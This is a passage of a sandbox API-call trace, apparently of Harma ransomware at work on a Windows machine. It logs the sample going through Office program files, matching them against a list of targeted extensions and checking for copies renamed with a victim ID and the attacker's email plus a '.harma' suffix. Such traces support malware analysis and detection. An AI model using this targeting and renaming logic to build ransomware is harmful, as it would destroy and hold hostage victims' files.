(lpString1=".jpg", lpString2=".VSL") returned -1 [0151.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0151.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0151.274] lstrlenW (lpString=".doc") returned 4 [0151.274] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0151.274] lstrlenW (lpString=".docx") returned 5 [0151.274] lstrcmpiW (lpString1=".docx", lpString2="V.VSL") returned -1 [0151.274] lstrlenW (lpString=".pdf") returned 4 [0151.274] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0151.274] lstrlenW (lpString=".xls") returned 4 [0151.274] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0151.274] lstrlenW (lpString=".xlsx") returned 5 [0151.274] lstrcmpiW (lpString1=".xlsx", lpString2="V.VSL") returned -1 [0151.274] lstrlenW (lpString=".ppt") returned 4 [0151.274] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0151.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0151.274] lstrlenW (lpString=".zip") returned 4 [0151.274] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0151.274] lstrlenW (lpString=".rar") returned 4 [0151.274] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0151.274] lstrlenW (lpString=".bz2") returned 4 [0151.274] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0151.274] lstrlenW (lpString=".7z") returned 3 [0151.274] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0151.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0151.274] lstrlenW (lpString=".dbf") returned 4 [0151.274] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0151.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0151.274] lstrlenW (lpString=".1cd") returned 4 [0151.274] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0151.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0151.275] lstrlenW (lpString=".jpg") returned 4 [0151.275] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0151.275] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0151.275] lstrlenW (lpString="EAWFINTL.DLL") returned 12 [0151.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.275] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=51600) returned 1 [0151.275] CloseHandle (hObject=0x370) returned 1 [0151.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll")) returned 0x20 [0151.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0151.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0151.276] lstrlenW (lpString=".doc") returned 4 [0151.276] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.276] lstrlenW (lpString=".docx") returned 5 [0151.276] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0151.276] lstrlenW (lpString=".pdf") returned 4 [0151.276] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.276] lstrlenW (lpString=".xls") returned 4 [0151.276] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.276] lstrlenW (lpString=".xlsx") returned 5 [0151.276] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0151.276] lstrlenW (lpString=".ppt") returned 4 [0151.276] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0151.276] lstrlenW (lpString=".zip") returned 4 [0151.276] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.276] lstrlenW (lpString=".rar") returned 4 [0151.276] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.277] lstrlenW (lpString=".bz2") returned 4 [0151.277] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.277] lstrlenW (lpString=".7z") returned 3 [0151.277] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0151.277] lstrlenW (lpString=".dbf") returned 4 [0151.277] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0151.277] lstrlenW (lpString=".1cd") returned 4 [0151.277] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0151.277] lstrlenW (lpString=".jpg") returned 4 [0151.277] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0151.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0151.277] lstrlenW (lpString=".doc") returned 4 [0151.277] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.277] lstrlenW (lpString=".docx") returned 5 [0151.277] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0151.277] lstrlenW (lpString=".pdf") returned 4 [0151.277] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.277] lstrlenW (lpString=".xls") returned 4 [0151.277] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.277] lstrlenW (lpString=".xlsx") returned 5 [0151.277] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0151.277] lstrlenW (lpString=".ppt") returned 4 [0151.278] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0151.278] lstrlenW (lpString=".zip") returned 4 [0151.278] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.278] lstrlenW (lpString=".rar") returned 4 [0151.278] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.278] lstrlenW (lpString=".bz2") returned 4 [0151.278] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.278] lstrlenW (lpString=".7z") returned 3 [0151.278] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0151.278] lstrlenW (lpString=".dbf") returned 4 [0151.278] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0151.278] lstrlenW (lpString=".1cd") returned 4 [0151.278] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0151.278] lstrlenW (lpString=".jpg") returned 4 [0151.278] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.278] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0151.278] lstrlenW (lpString="EDITRES.DLL") returned 11 [0151.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.279] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=19840) returned 1 [0151.279] CloseHandle (hObject=0x370) returned 1 [0151.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll")) returned 0x20 [0151.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0151.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0151.280] lstrlenW (lpString=".doc") returned 4 [0151.280] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.280] lstrlenW (lpString=".docx") returned 5 [0151.280] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0151.280] lstrlenW (lpString=".pdf") returned 4 [0151.280] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.280] lstrlenW (lpString=".xls") returned 4 [0151.280] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.280] lstrlenW (lpString=".xlsx") returned 5 [0151.280] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0151.280] lstrlenW (lpString=".ppt") returned 4 [0151.280] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0151.280] lstrlenW (lpString=".zip") returned 4 [0151.280] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.280] lstrlenW (lpString=".rar") returned 4 [0151.280] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.280] lstrlenW (lpString=".bz2") returned 4 [0151.280] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.280] lstrlenW (lpString=".7z") returned 3 [0151.280] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0151.280] lstrlenW (lpString=".dbf") returned 4 [0151.280] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0151.280] lstrlenW (lpString=".1cd") returned 4 [0151.280] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0151.281] lstrlenW (lpString=".jpg") returned 4 [0151.281] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0151.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0151.281] lstrlenW (lpString=".doc") returned 4 [0151.281] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.281] lstrlenW (lpString=".docx") returned 5 [0151.281] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0151.281] lstrlenW (lpString=".pdf") returned 4 [0151.281] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.281] lstrlenW (lpString=".xls") returned 4 [0151.281] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.281] lstrlenW (lpString=".xlsx") returned 5 [0151.281] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0151.281] lstrlenW (lpString=".ppt") returned 4 [0151.281] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0151.281] lstrlenW (lpString=".zip") returned 4 [0151.281] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.281] lstrlenW (lpString=".rar") returned 4 [0151.281] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.281] lstrlenW (lpString=".bz2") returned 4 [0151.281] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.281] lstrlenW (lpString=".7z") returned 3 [0151.281] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0151.281] lstrlenW (lpString=".dbf") returned 4 [0151.282] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0151.282] lstrlenW (lpString=".1cd") returned 4 [0151.282] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0151.282] lstrlenW (lpString=".jpg") returned 4 [0151.282] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.282] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0151.282] lstrlenW (lpString="EntityPickerIntl.dll") returned 20 [0151.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.282] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=24456) returned 1 [0151.283] CloseHandle (hObject=0x370) returned 1 [0151.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll")) returned 0x20 [0151.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0151.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0151.283] lstrlenW (lpString=".doc") returned 4 [0151.283] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.283] lstrlenW (lpString=".docx") returned 5 [0151.283] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0151.283] lstrlenW (lpString=".pdf") returned 4 [0151.283] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.283] lstrlenW (lpString=".xls") returned 4 [0151.283] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.283] lstrlenW (lpString=".xlsx") returned 5 [0151.283] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0151.283] lstrlenW (lpString=".ppt") returned 4 [0151.284] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0151.284] lstrlenW (lpString=".zip") returned 4 [0151.284] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.284] lstrlenW (lpString=".rar") returned 4 [0151.284] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.284] lstrlenW (lpString=".bz2") returned 4 [0151.284] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.284] lstrlenW (lpString=".7z") returned 3 [0151.284] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0151.284] lstrlenW (lpString=".dbf") returned 4 [0151.284] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0151.284] lstrlenW (lpString=".1cd") returned 4 [0151.284] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0151.284] lstrlenW (lpString=".jpg") returned 4 [0151.284] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0151.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0151.284] lstrlenW (lpString=".doc") returned 4 [0151.284] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.284] lstrlenW (lpString=".docx") returned 5 [0151.284] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0151.284] lstrlenW (lpString=".pdf") returned 4 [0151.284] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.284] lstrlenW (lpString=".xls") returned 4 [0151.284] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.284] lstrlenW (lpString=".xlsx") returned 5 [0151.284] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0151.284] lstrlenW (lpString=".ppt") returned 4 [0151.285] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0151.285] lstrlenW (lpString=".zip") returned 4 [0151.285] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.285] lstrlenW (lpString=".rar") returned 4 [0151.285] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.285] lstrlenW (lpString=".bz2") returned 4 [0151.285] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.285] lstrlenW (lpString=".7z") returned 3 [0151.285] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0151.285] lstrlenW (lpString=".dbf") returned 4 [0151.285] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0151.285] lstrlenW (lpString=".1cd") returned 4 [0151.285] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0151.285] lstrlenW (lpString=".jpg") returned 4 [0151.285] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.285] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0151.285] lstrlenW (lpString="ENVELOPR.DLL") returned 12 [0151.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0151.299] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=17288) returned 1 [0151.302] CloseHandle (hObject=0x338) returned 1 [0151.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll")) returned 0x20 [0151.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0151.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0151.303] lstrlenW (lpString=".doc") returned 4 [0151.303] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.303] lstrlenW (lpString=".docx") returned 5 [0151.303] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0151.303] lstrlenW (lpString=".pdf") returned 4 [0151.303] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.303] lstrlenW (lpString=".xls") returned 4 [0151.303] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.303] lstrlenW (lpString=".xlsx") returned 5 [0151.303] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0151.303] lstrlenW (lpString=".ppt") returned 4 [0151.303] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0151.303] lstrlenW (lpString=".zip") returned 4 [0151.303] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.303] lstrlenW (lpString=".rar") returned 4 [0151.303] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.304] lstrlenW (lpString=".bz2") returned 4 [0151.304] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.304] lstrlenW (lpString=".7z") returned 3 [0151.304] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0151.304] lstrlenW (lpString=".dbf") returned 4 [0151.304] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0151.304] lstrlenW (lpString=".1cd") returned 4 [0151.304] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0151.304] lstrlenW (lpString=".jpg") returned 4 [0151.304] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0151.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0151.304] lstrlenW (lpString=".doc") returned 4 [0151.304] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.304] lstrlenW (lpString=".docx") returned 5 [0151.304] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0151.304] lstrlenW (lpString=".pdf") returned 4 [0151.304] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.304] lstrlenW (lpString=".xls") returned 4 [0151.304] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.304] lstrlenW (lpString=".xlsx") returned 5 [0151.304] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0151.304] lstrlenW (lpString=".ppt") returned 4 [0151.304] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0151.304] lstrlenW (lpString=".zip") returned 4 [0151.304] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.304] lstrlenW (lpString=".rar") returned 4 [0151.304] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.305] lstrlenW (lpString=".bz2") returned 4 [0151.305] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.305] lstrlenW (lpString=".7z") returned 3 [0151.305] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0151.305] lstrlenW (lpString=".dbf") returned 4 [0151.305] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0151.305] lstrlenW (lpString=".1cd") returned 4 [0151.305] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0151.305] lstrlenW (lpString=".jpg") returned 4 [0151.305] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.305] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0151.305] lstrlenW (lpString="EQPLIST.VRD") returned 11 [0151.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0151.306] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=1699) returned 1 [0151.306] CloseHandle (hObject=0x338) returned 1 [0151.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd")) returned 0x20 [0151.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 